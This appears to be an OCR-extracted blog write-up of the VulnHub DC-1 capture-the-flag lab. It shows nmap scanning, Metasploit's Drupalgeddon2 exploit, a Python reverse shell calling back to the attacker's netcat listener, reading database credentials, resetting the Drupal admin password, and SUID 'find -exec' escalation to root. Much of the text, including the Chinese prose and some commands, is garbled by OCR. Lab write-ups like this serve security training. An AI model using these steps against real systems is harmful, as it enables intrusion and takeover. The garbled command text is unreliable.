VulnHub DC-1 Writeup

K ¥l F- 2020-09-28 11:15:58 % #i 194 e
725 FE: VuinHub Y& #5r%5: DC-1 VulnHub

WA . AT R A2, 155 CC 4.0 BY-SA WUBUMN, HE#kid b b5 S AN FE A A A 1
ASCHERE:  https://blog.csdn.net/mochu7777777/article/details/108838293
AL

VulnHub £ I % &

4 G CE 1 AT H

T LA

DC-1345 W https://www.vulnhub.com/entry/dc-1,292/

SUPLEAEE virtualBox , i%E#% VirtualBox Host-Only M, IPJ5: 192.168.56.102

) DC-1- 28

= BI%

(&) =& FEL REz FEa FE4

W == BRRES )

@ — EEARA G REN Hest-Ond vl fEE -
| HEmEFR(H) . VirtualBox Host—0Only Ethernet Adapter

Cp == b BB

- R

£ =0

ﬁ USBiEE

[ s=sis=

] Bsm

WHHLFAEE vMware , B, #i#E % virtualBox Host-Only M, IPy: 192.168.56.177



https://mochu.blog.csdn.net
https://blog.csdn.net/mochu7777777/category_10432886.html
https://so.csdn.net/so/search/s.do?q=DC-1&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=VulnHub&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/mochu7777777/article/details/108838293
https://blog.csdn.net/mochu7777777/category_10432886.html
https://www.vulnhub.com/entry/dc-1,292/

. - : zsh — Konsole

File Edit View

B

#E B RIS

ErrE 468 B0

Thpaes 4 BifidixiE(0)

388 (SCsT) 40 GB

(%) CD/DVD (IDE) EFEERH DASO\alinux-... | PSS

o B HsiEt (8ih) ® HEHRB): IR
] UsB 1HIgs TEHE

[ B #BEREE RSP

> D ER b
Ry STl miE CNAT 25 (N): FEFALSENS P et
R N B Bl O REMF(H): SENLFaE MG
dropped @ overrul 0
1522 byte 0 .0 K OBEX(U): SEEUMS

dropped @ o

l— VMnet0 (8RR
x OLan EE(L):

&fF g FHEREE EHLiEE DHCP FRbat

FIE485%  virtualBox Host-Only Ethern... -
WMnetl  {REMML.. - iR Z2ER 192.168.88.0 LAN [££2(S)... EER(V)...
VMnets  NAT{E3h  NAT4E: B - 192.168.7.0
ENRERE). . TR ) EsafEwW..
VMnet {8,
@ FEE T (S A E S BRI SR @
E###E(G): |VirtualBox Host-Only Ethernet Adapter v | | BEEEW...
ONAT B (S EHAEZ TN 1P H4h)0) NAT BEE)...
O REAE TS ARG R )

Nmap 41 C Bt A A7 L

nmap -sP 192.168.56.1/2

:05 (Unknown)
. 100

7:7E (Oracle VirtualBox wirtual NI
.1@2

le Virtual irtual NI

IP addre ( sts up) nned in 27.72
in /home/mochu?

AR SR A NS 1 T AT LA A

ethd, t-pe: EN1OME, 610 :
7 with 256 hosts (https:
ik GmbH

y filter,
256 ho : in 2.6 s (127.3@ hos . 3 responded

b TTTTTTT
ochu77 77771

I E FREEHLIP:  192.168.56.102

nmap -Pn -sSV -A -p- -T5 192.168.56.102




at kali in /home/mochu?
o nmap -Pn -s5V -A -p- -T5 192.168.56.102
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-27 11:08 EDT
MNmap scan report for 192.168.56.102
Host is up (@.00042s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenS5H 6.0pl Debian &4+deb7u? (protocol 2.8)
ssh-hostkey:
1024 c&:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8F (DSA)
2048 11:82:fe:53:4e:dc:5b:32:7F:44:64:82:75:7d:d0:a0 (RSA)
_ 256 3d:3a:98:5c:87:af:ea:84:bB:23:68:8d:b9:05:57:d8 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Debian))
_http-generator: Drupal 7 (http://drupal.org)
http-robots.txt: 36 disallowed entries (15 shown)
Jincludes/ /misc/ /modules/ /profiles/ /scripts/
JSthemes/ /CHANGELOG.txt Scron.php /INSTALL.mysgl.txt
JINSTALL.pgsql.txt /INSTALL.sglite.txt /install.php /INSTALL.txt
_/LICENSE.txt /MAINTAINERS.txt
_http-server-header: Apache/2.2.22 (Debian)
_http-title: Welcome to Drupal Site | Drupal Site
111/tcp open rpcbind 2-4 (RPC #100000)
rpcinfo:
program version port/proto service
100080 111/tcp  rpcbind
100080 111/udp  rpcbind
100080 111/tcpbé  rpcbind
100080 111/udp6 rpcbind
10002 4 4@982/tcp  status
10002 4 58284/ /tcps  status
10002 4 60243 /udps  status
_ 100024 6@264/udp  status
40982 /tcp open status 1 (RPC #1000824)
MAC Address: 08:00:27:05:74:9D (Oracle VirtualBox wirtual NIC)
Device type: general purpose
Running: Linux 3.X
05 CPE: cpe:/o:linux:linux_kernel:3
0S details: Linux 3.2 - 3.16
Network Distance: 1 hop
Service Info: 0S: Linux; CPE: cpe:/fo:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 8.42 ms 192.168.56.102

05 and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Mmap done: 1 IP address (1 host up) scanned in 29.85 seconds
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My account  Log out

‘Welcome to Drupal Site

d by Drupal https://blog.csdn.net/mochu777777

Drupal 7, msf L Hpoc,

msfS > search drupal

Matching Modules




Name Disclosure Date Description

auxiliary/gather/deupal_openid_xxe 2012-19-17 Drupal OpenID External Entity Injection
auxiliary/scanner/http/drupal_views_user_enum 2010-87-82 Drupal Views Module Users Enumeration
exploit/multi/http,/drupal_drupageddon 2014-10-15 1t Drupal HTTP Parameter Key/Walue SQL Injection
exploit/unix/webapp/drupal_coder_exec 2016-07-13 1t Drupal CODER Module Remote Command Execution
exploit/unix/webapp/drupal_drupalzeddon2 2018-03-28 lent Drupal Drupalgeddon 2 Forms API Property Injection
exploit/unix/webapp/drupal_restws_exec 2016-07-13 excellent Drupal RESTWS Module Remote PHP Code Execution
exploit/unix/webapp/drupal_restws_unserialize 2019-02-20 normal Drupal RESTful Web Services unserialize() RCE
exploit/unix/webapp/php_xmlrpc_eval 2005-06-29 excellent PHP ¥ML-RPC Arbitrary Code Execution
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> use exploit/unix/webapp/drupal_drupalgeddon2
msf5 exploit( ) > show options

Module options (exploit/unix/webapp/drupal_drupalgeddon2):

Name Current Setting Required Description

DUMP_OUTPUT false no Dump payload command output

PHP_FUNC passthru PHP function to execute

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RHOSTS The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT The target port (TCP)

55L Negotiate S5L/TLS for outgoing connections

TARGETURI Path to Drupal install

VHOST HTTP server virtual host

Exploit target:
Id Name

Automatic (PHP In-Memory)

msf5 exploit( ) > set rhosts 192.168.56.102
rhosts = 192.168.56.102
msf5 exploit( ) > show options

Module options (exploit/unix/webapp/drupal_drupalgeddon2):

Name Current Setting Required Description
DUMP_OUTPUT false no Dump payload command output

PHP_FUNC passthru PHP function to execute

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RHOSTS 192.168.56.182 The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>’
RPORT 80 The target port (TCP)

55L false Negotiate SSL/TLS for outgoing connections

TARGETURI / Path to Drupal install

VHOST HTTP server virtual host

Exploit target:

Id Name

@ Automatic (PHP In-Memory)
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L] - : ruby — Konsole
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Jusr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called FalseClass; it always returns nil
Jusr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called FalseClass; it always returns nil
Jusr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called FalseClass; it always returns nil
Jusr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called FalseClass; it always returns nil
fusr/share/metasploit-framework/1ib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called FalseClass; it always returns nil
Jusr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called FalseClass; it always returns nil
Jusr/share/metasploit-framework/1ib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called FalseClass; it always returns nil
Jusr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called FalseClass; it always returns nil
Jusr/share/metasploit-framework/1ib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called FalseClass; it always returns nil
/usr/share/metasploit-framework/1ib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called FalseClass; it always returns nil
Jusr/share/metasploit-framework/1ib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called FalseClass; it always returns nil
/usr/share/metasploit-framework/1ib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called FalseClass; it always returns nil
Jusr/share/metasploit-framework/1ib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called FalseClass; it always returns nil
Jusr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called FalseClass; it always returns nil

Sending stage (38288 bytes) to 192.168.56.102

Meterpreter session 2 opened (192.168.56.177:4444 — 192.168.56.102:37030) at 2020-09-27 11:48:39 -0400




meterpreter > shell
Process 3236 created.
Channel @ created.
whoami

wen -data

id
uid=33(wm-data) gid=33(ww-data) groups=33(wm-data)
1s

COPYRIGHT.txt
INSTALL.mysql.txt
INSTALL.pgsql.txt
INSTALL.sglite.txt
INSTALL. txt
LICENSE. txt
MAINTAINERS. txt
README . txt
UPGRADE. txt
authorize.php
cron.php

flagl. txt

includes

index.php
install.php

misc

modules

profiles
robots.txt

scripts

sites

themes

update.php
web.config

xmlrpc.php https://blog.csdn.net/mochu 7777777

cat flagl.txt
Every good CM5 needs a config file - and so do you.

TR 2 A 222 B xshell,  #IHLA pythonf fd Fi python/z 3#.%2 5. x{shell

python -c (("192.168.56
.177",1234))

File Edit View Bookmarks Settings Help

/home /mochu?

nc -lvp 1234
listening on [any] 1234
192.168.56.102: inverse host lookup failed: Unknown host
connect to [192.168.56.177] from (UNKNOWN) [192.168.56.102] 50101
/bin/sh: @: can't access tty; job control turned off
$ whoami
waw-data
$ id
uid=33(wmv-data) gid=33(wmu-data) groups=33{wm-data)
$ 1s
COPYRIGHT . txt
INSTALL.mysgl.txt
INSTALL.pgsql.txt
INSTALL.sglite.txt
INSTALL.txt
LICENSE. txt
MAINTAINERS.txt
README. txt
UPGRADE . txt
authorize.php
cron.php
flagl.txt
includes
index.php
install.php
misc
modules
profiles
robots.txt
scripts
sites
themes
update.php
web.config




needs a config file - and so do you.
hitps://blog.csdn.net/mochu7 777777

MR Flagl. txt PN FHRECE UM /var/www/sites/default/settins. php

flag2
/home /mochu?

host lookup failed: Unknown host
8.56.177] from (UNKNOWN) [192.1 .1082] 50102
5 tty; job control turned off

(wew-da 3w -data)

README . txt

all

default
example.sites.php
! default

$

default.settings.php
files
settings.php

t settings.php

c ELUtE force and dictionary attacks aren't the
¢ only w to gain (and you WILL need
¢ What can you do with thes

'host' = 'localhost',
'port’ L

control for update.php ipt. VP : sdn.net/mochu? 777771
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python -c



python -c 'import pty; pty.spawn("/bin/b
C-1:/ 'ww$ whoami
S $ id

(wmw-data we -dat
wea §

wea §

wan$ mysql -u dbuser -p

mysgl -
Enter p:

MySQL monitor. Commands end with ; or
ion id is
5.5.60-0+deb7ul (Debia

cle and/or its

= e
OWners.

Type 'help;' or '\h' for help. Type to clear the current input

mysgl> show databa
show data

information_
drupaldb

rows in 5

B R A8 S

/scripts$ 1s -la ps
sh
waw-data : Nov 21
ripts$

we —dats
php -f

we —dats

SR e I2E NS 2R XA SO 45 AT admin I % S

update drupa users set pass




mysqL
drup
olumn names
artup with

changed
* from drupaldb

% Content | Drupal Site

< Cc @ D 192.168.56.102
Kali Linux < KaliTools # Kali Docs Kali Forums NetHunter || Offensive Security Exploit-DB GHDB || MSFI

# board  ([EOHEEND cture  App > g Help

Add content Edit shortcuts

Content ¢

Home » Administration

+ Add content

SHOW ONLY ITEMS WHERE
status any Filter
type any

UPDATE OPTIONS

Publish selected content Update

TYPE AUTHOR STATUS UPDATED OPERATIONS
Basic page admin not published 02/20/2019 - 00:44 edit  delete

Basic page Fred published 02/20/2019 - 00:17 edit  delete

https/blog.csdn.net/m

% flag3 | Drupalsite
& c @ ) 192.168.56.102

KaliLinux  KaliTraining ~ KaliTools # KaliDocs ~ KaliForums  NetHunter || Offensive Security * ExploitDB % GHDB || MSFU

Edit shartcuts

My account  Log out

Home

Q flag3
View Edit
Navigation

Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get

» Add content what's in the shadow.

Drupal

flagsd

wien —datagD
home




Probably. But perh: i nc.trwl
wa-dat ; I il

e
cat
root:
daemon
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pro
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waw-data@bc-1:/% find / -perm /4000
-perm g

/bin/mount

/bin/ping

ch file or directory
h file or directory

C-1:/% find -help
find -help
Usage: find [-H] [-L] [-P] [-Olevel] [-D help|tree|s c] [path...] [expre

rrent directory; default ex
of: operators, options, tes

precedence; i icit where no
-not ] 1 -a EXPR2 EXPR1 -and E
EXPR1 -or EX

ys true): -daystart -follow -reg

normal options (always true, specified before other expr
-depth —help -maxdepth LEVELS -mindepth LEVELS -mount -noleaf
version -x gnore_readdir_race -noignore_readdir_

(N can be +N or -N or N): -amin N -anewer FILE -atime N -cmin N
-cnewer FILE -ctime N -empty -false -fstype TYPE -gid N -group
ATTERN

-links N -lname PATTERN -mmin N -mtime N -name PATTERN -newer FILE
-nouser -nogroup -path PATTERN -perm [+-]MODE -regex PATTERN
-readable -writable -executable

-wholename PATTERN -size N[bcwkMG] -true -type [bcdpflsD] -uid N
-used N -user NAME -xt F

actions: -delete -print@® -printf FORMAT -fprintf FILE FORMAT -print
-fprint® FILE -fprint FILE -1s -fls FILE -prune -quit
-exec COMMAND ; -e COMMAND {} + -ok COMMAND ;
-execdir COMMAND ; dir COMMAND {} + -okdir COMMAND ;

dn.net/mochu77




waw-da wn$ find . -exec '/bin/sh' \;
find . -exec '/bin/sh’
# whoami

whoami
root

thefinalflag. txt
# cd /root

t thefinalflag.

Well done!!!!

Hopefully you've enjoyed this and learned some new skills.

You can let me know what you thought of this little journey
by contacting me via Twitter —
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